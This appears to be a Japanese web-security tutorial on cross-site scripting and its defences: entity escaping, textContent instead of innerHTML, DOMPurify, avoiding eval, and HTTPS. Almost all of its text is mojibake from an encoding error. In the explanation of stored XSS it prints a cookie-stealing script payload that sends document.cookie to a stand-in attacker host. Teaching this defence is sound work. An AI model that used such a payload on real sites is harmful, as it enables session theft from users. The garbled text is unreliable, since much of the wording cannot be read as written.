ð€¯ åºæïŒã³ãŒãã¯è£åããªãããŠãŒã¶ãŒã¯è£åããããããªã
ããªãã¯ãããŸã§ãåçãªWebãµã€ããæ§ç¯ããããã®ãã¹ãŠã®æè¡ãç¿åŸããŸãããããããWebãµã€ããè€éã«ãªãã»ã©ãã»ãã¥ãªãã£äžã®ãªã¹ã¯ãå¢å€§ããŸãã
æªæãã第äžè ïŒæ»æè ïŒã¯ãããªããæžããã³ãŒãã®ãééããçã£ãŠãããªãã®ãµã€ãã®ãŠãŒã¶ãŒã«å±å®³ãå ããããšããŸããäŸãã°ããŠãŒã¶ãŒã®å人æ å ±ïŒã¯ãããŒãã»ãã·ã§ã³æ å ±ïŒãçã¿åºããåæã«ã³ã³ãã³ããæžãæãããšãã£ãè¡çºã§ãã
ãããã€ã¡ã³ããå®äºããäžçã«å ¬éãããããªãã®Webãµã€ããå®ãããã«ã¯ãã»ãã¥ãªãã£ã®åºæ¬ååãçè§£ããé²åŸ¡çãã³ãŒãã«çµã¿èŸŒãå¿ èŠããããŸããä»åã¯ãæãäžè¬çãªWebæ»æã§ãã**XSSïŒã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ïŒ**ãšãã®å¯Ÿçã«çŠç¹ãåœãŠãŠè§£èª¬ããŸãã
1. ðš Webã»ãã¥ãªãã£ã®æå€§ã®è åšïŒXSSæ»æãšã¯ïŒ
XSS (Cross-Site Scripting) ã¯ãWebãµã€ãã®å ¥åãã©ãŒã ãURLãã©ã¡ãŒã¿ãªã©ãæªçšããæ»æè ã®çšæããæªæã®ããJavaScriptã³ãŒãããä»ã®ãŠãŒã¶ãŒã®ãã©ãŠã¶äžã§å®è¡ãããæ»æã§ãã
XSSæ»æãæåããä»çµã¿
XSSæ»æã¯ãããªãããããŸã§äœ¿ã£ãŠããDOMæäœã®æ©èœãæªçšããŸãã
- æ»æè
ãã³ãŒããåã蟌ã: æ»æè
ã¯ãã³ã¡ã³ãæ¬ãæ²ç€ºæ¿ãªã©ã«ãæªæã®ããã¹ã¯ãªããïŒäŸïŒ
<script>document.location='http://attacker.com/?data=' + document.cookie</script>ïŒãæçš¿ããŸãã - ãµãŒããŒããããä¿å: ãµãŒããŒã¯ãã®ããŒã¿ãç¡å®³ãªããã¹ããšããŠããŒã¿ããŒã¹ã«ä¿åããŸãã
- 被害è ããµã€ããé²èЧ: å¥ã®ãŠãŒã¶ãŒïŒè¢«å®³è ïŒããã®ããŒãžãé²èЧãããšãããªãã®JavaScriptã³ãŒãããä¿åãããããŒã¿ããã®ãŸãŸHTMLãšããŠèªã¿èŸŒã¿ãŸãã
- ã³ãŒããå®è¡ããã: ãã©ãŠã¶ããæªæã®ãã
<script>ã¿ã°ãèªèãã被害è ã®ãã©ãŠã¶äžã§å®è¡ããŠããŸããŸãã - 被害çºç: å®è¡ãããã¹ã¯ãªããã«ããã被害è ã®ã»ãã·ã§ã³ã¯ãããŒãçãŸããæ»æè ã«éä¿¡ãããŸãã
2. ð¡ïž XSSæ»æãé²ãããã®æéèŠåå
XSSæ»æãé²ãããã®ååã¯äžã€ã§ããããã¯ãããŠãŒã¶ãŒãå ¥åããããŒã¿ã¯ã決ããŠä¿¡çšããªããããšã§ãã
ð ååïŒããŒã¿ããç¡å®³åïŒãµãã¿ã€ãºïŒããã
ãŠãŒã¶ãŒããåãåã£ãããŒã¿ããHTMLãšããŠè§£éãããªãããã«ç¡å®³ãªæååã«å€æããåŠçã**ãµãã¿ã€ãºïŒSanitizeïŒ**ãšåŒã³ãŸãã
å ·äœçã«ã¯ãHTMLã®ã¿ã°ãšããŠè§£éãããå¯èœæ§ã®ããç¹æ®æåãããã®æåãæå³ããHTMLãšã³ãã£ãã£ã«å€æããŸãã
| 倿åïŒå±éºïŒ | 倿åŸïŒå®å šïŒ | åœ¹å² |
< (å°ãªãèšå·) | < | ã¿ã°ã®éå§ãé²ã |
> (倧ãªãèšå·) | > | ã¿ã°ã®çµäºãé²ã |
" (ããã«ã¯ã©ãŒã) | " | 屿§å€ã®çµäºãé²ã |
' (ã·ã³ã°ã«ã¯ã©ãŒã) | ' | 屿§å€ã®çµäºãé²ã |
Google ã¹ãã¬ããã·ãŒãã«ãšã¯ã¹ããŒã
ðš DOMæäœã§ã®å ·äœçãªå¯Ÿç
ããªãããŠãŒã¶ãŒã®å
¥åããŒã¿ãDOMã«åæ ãããéã«ãæãå±éºãªã®ã**innerHTML**ã®äœ¿çšã§ãã
â å±éºãªäŸ (innerHTML ã®äœ¿çš)
JavaScript
const userData = "<script>alert('XSSæ»ææåïŒ')</script>"; // æ»æã³ãŒã
document.getElementById('content').innerHTML = userData; // â ãã©ãŠã¶ãã¹ã¯ãªãããå®è¡ãã
â å®å šãªäŸ (textContent ã®äœ¿çš)
ãŠãŒã¶ãŒã®å
¥åããŒã¿ãHTMLãšããŠè¡šç€ºããå¿
èŠããªãå Žåã¯ãå¿
ã**textContent**ã䜿ããŸããããtextContentã¯ãæ¿å
¥ãããæååãçŽç²ãªããã¹ããšããŠæ±ããHTMLã¿ã°ãšããŠè§£éãããã®ãé²ããŸãã
JavaScript
const userData = "<script>alert('XSSæ»ææåïŒ')</script>";
document.getElementById('content').textContent = userData; // â ã¹ã¯ãªããã¯å®è¡ãããªãïŒãã ã®æååãšããŠè¡šç€ºãããïŒ
â å€éšã©ã€ãã©ãªã®å©çš (ãã¹ããã©ã¯ãã£ã¹)
ããã©ãããŠãHTMLã¿ã°ãèš±å¯ããå¿ èŠãããå ŽåïŒäŸïŒäžéšã®è£ 食ã¿ã°ã®ã¿èš±å¯ïŒãèªäœã®ãµãã¿ã€ãºé¢æ°ã§ã¯ãªããDOMPurifyã®ãããªå°éã®ãµãã¿ã€ãºã©ã€ãã©ãªã䜿ãã®ããããã®ãã¹ããã©ã¯ãã£ã¹ã§ãããããã®ã©ã€ãã©ãªã¯ãè€éãªæ»æãã¿ãŒã³ã«ã察å¿ããŠããŸãã
3. ð¡ïž ãã®ä»ã®ã»ãã¥ãªãã£ã®ãã³ã
3-1. eval()ã¯çµ¶å¯Ÿã«äœ¿ããªïŒ
eval()颿°ã¯ãåŒæ°ã«æž¡ãããæååãJavaScriptã®ã³ãŒããšããŠå®è¡ããŠããŸããŸããããã¯æ»æè
ãä»»æã®ã³ãŒããå®è¡ãããããã®å
¥ãå£ãšãªãããã䜿çšã¯å³çŠã§ãã
3-2. constãšletã®äœ¿çšïŒã°ããŒãã«æ±æã®åé¿ïŒ
倿°ã®ã¹ã³ãŒããæèããvarã§ã¯ãªãconstãletã䜿ããŸããããããã«ãããæå³ããªãã°ããŒãã«å€æ°ã®äžæžããé²ããã³ãŒãã®å®å
šæ§ãé«ãŸããŸãã
3-3. HTTPSã®æ¡çš
Webãµã€ããšãŠãŒã¶ãŒã®ãã©ãŠã¶éã®éä¿¡ãæå·åããHTTPSãå¿ ã䜿çšããŸããããããã«ãããéä¿¡éäžã§ããŒã¿ïŒç¹ã«ãŠãŒã¶ãŒã®ãã¹ã¯ãŒããå人æ å ±ïŒãçèŽãããã®ãé²ããŸãã
ð ãŸãšãïŒã»ãã¥ãªãã£ã¯ãå¿ é æ©èœã
ã»ãã¥ãªãã£ã¯ãWebãµã€ãã®ãè¿œå æ©èœãã§ã¯ãªãã**ãå¿ é ã®åºç€æ©èœã**ã§ãã
- XSSæ»æ: ãŠãŒã¶ãŒã®å ¥åããæªæã®ããã¹ã¯ãªãããå®è¡ãããæ»æã
- é²åŸ¡ã®éå: ãŠãŒã¶ãŒå ¥åãä¿¡çšããããµãã¿ã€ãºããããšã
- DOMæäœ:
innerHTMLãé¿ããtextContentã䜿ãããå°éã©ã€ãã©ãªã§ãµãã¿ã€ãºããã
ããªãã®äœåãäžçã«å ¬éãã以äžããã®ã»ãã¥ãªãã£ã«è²¬ä»»ãæã€ããšãçã®ããã°ã©ããŒã®èšŒã§ãããã®é²åŸ¡è¡ãã³ãŒãã«çµã¿èŸŒã¿ãå®å šã§ä¿¡é Œæ§ã®é«ãWebãµã€ããæäŸããŸãããïŒ

